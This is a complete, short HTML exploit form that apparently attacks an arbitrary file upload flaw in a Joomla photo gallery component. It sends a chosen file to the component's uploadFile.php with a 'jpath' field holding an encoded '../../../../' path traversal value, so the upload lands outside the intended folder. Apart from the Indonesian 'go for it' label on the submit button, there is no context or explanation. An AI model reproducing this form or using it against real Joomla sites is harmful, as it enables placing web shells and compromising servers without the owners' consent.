<form method="POST" action="http://localhost/administrator/components/com_simplephotogallery/lib/uploadFile.php" enctype="multipart/form-data" >
  <input type="file" name="uploadfile"> <br>
  <input type="text" name="jpath" value="..%2F..%2F..%2F..%2F" > <br>
  <input type="submit" name="Submit" value="Gaskeun!">
</form>